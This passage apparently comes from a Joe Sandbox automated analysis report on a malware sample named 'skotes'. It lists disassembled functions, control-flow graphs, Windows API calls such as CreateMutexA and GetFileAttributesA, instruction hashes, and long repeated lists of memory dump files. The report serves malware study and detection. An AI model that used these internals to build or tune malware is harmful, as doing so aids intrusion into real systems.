                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Sleep$ConditionCreateThreadVariableWake
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 79123409-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 9035a2d4f687025024aeaf23eeb7c2a6034168d5de88871780996d4e89b1f305
                                                                                                                                                                                                                                                                                    • Instruction ID: d9220250c6f8276cb5ef77257bd5ddac508fcd75097a9c0fe91eb0359854fcc2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9035a2d4f687025024aeaf23eeb7c2a6034168d5de88871780996d4e89b1f305
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4E51F170610244EFEB14DF28EC8AB9D3BA9EB58B05F504619F8249B7D1CB7AD4C4CB91
                                                                                                                                                                                                                                                                                    Function 00186FB4 Relevance: 4.6, APIs: 3, Instructions: 145COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 2312 186fb4-186fe9 GetFileType 2313 186fef-186ffa 2312->2313 2314 1870a1-1870a4 2312->2314 2315 18701c-187038 call 1840f0 GetFileInformationByHandle 2313->2315 2316 186ffc-18700d call 18732a 2313->2316 2317 1870cd-1870f5 2314->2317 2318 1870a6-1870a9 2314->2318 2327 1870be-1870cb call 1875c0 2315->2327 2329 18703e-187080 call 18727c call 187124 * 3 2315->2329 2332 1870ba-1870bc 2316->2332 2333 187013-18701a 2316->2333 2319 187112-187114 2317->2319 2320 1870f7-18710a 2317->2320 2318->2317 2323 1870ab-1870ad 2318->2323 2325 187115-187123 call 16cff1 2319->2325 2320->2319 2339 18710c-18710f 2320->2339 2323->2327 2328 1870af-1870b4 call 1875f6 2323->2328 2327->2332 2328->2332 2348 187085-18709d call 187249 2329->2348 2332->2325 2333->2315 2339->2319 2348->2319 2351 18709f 2348->2351 2351->2332
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00186EE6), ref: 00186FD6
                                                                                                                                                                                                                                                                                    • GetFileInformationByHandle.KERNEL32(?,?), ref: 00187030
                                                                                                                                                                                                                                                                                    • __dosmaperr.LIBCMT ref: 001870C5
                                                                                                                                                                                                                                                                                      • Part of subcall function 0018732A: __dosmaperr.LIBCMT ref: 0018735F
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: File__dosmaperr$HandleInformationType
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2531987475-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 40cc031a5408eb99809c37c4ffc93c77516743b3f684a89f295d0c0853b0e3cf
                                                                                                                                                                                                                                                                                    • Instruction ID: 1db90e55d26435eefedd99cc26b473df93cb859ebbe60a2c74b1712c1acf8f68
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 40cc031a5408eb99809c37c4ffc93c77516743b3f684a89f295d0c0853b0e3cf
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BD415DB1904604ABDB24EFB5DC459AFB7F9EF89300B204529F856D3690E730DA40DF61
                                                                                                                                                                                                                                                                                    Function 00159BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 2352 159ba5-159bc5 GetFileAttributesA 2355 159bc7-159bd3 2352->2355 2356 159bf3-159c0f 2352->2356 2357 159bd5-159be3 2355->2357 2358 159be9-159bf0 call 16d663 2355->2358 2359 159c11-159c1d 2356->2359 2360 159c3d-159c5c 2356->2360 2357->2358 2361 15a91c 2357->2361 2358->2356 2363 159c33-159c3a call 16d663 2359->2363 2364 159c1f-159c2d 2359->2364 2365 159c5e-159c6a 2360->2365 2366 159c8a-15a916 call 1680c0 2360->2366 2368 15a953-15a987 Sleep CreateMutexA 2361->2368 2369 15a91c call 186c6a 2361->2369 2363->2360 2364->2361 2364->2363 2372 159c80-159c87 call 16d663 2365->2372 2373 159c6c-159c7a 2365->2373 2381 15a98e-15a994 2368->2381 2369->2368 2372->2366 2373->2361 2373->2372 2382 15a9a7-15a9a8 2381->2382 2383 15a996-15a998 2381->2383 2383->2382 2384 15a99a-15a9a5 2383->2384 2384->2382 2386 15a9a9-15a9b0 call 186629 2384->2386
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 00159BA8
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesCreateFileMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 396266464-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 659f794f873971a693d6fdcea86c1cf5732b6c6b07b6d01a82e13f45f19ab0b9
                                                                                                                                                                                                                                                                                    • Instruction ID: 123c04c26a385040bd6f57cd5ea336261f3ce099bf410de9e1d063bfa476194a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 659f794f873971a693d6fdcea86c1cf5732b6c6b07b6d01a82e13f45f19ab0b9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D6314831B44200CBEB089B78DD89B6DB7A2EFC1315F248318E8249F3D5C7759A998752
                                                                                                                                                                                                                                                                                    Function 00159CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 00159CDD
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
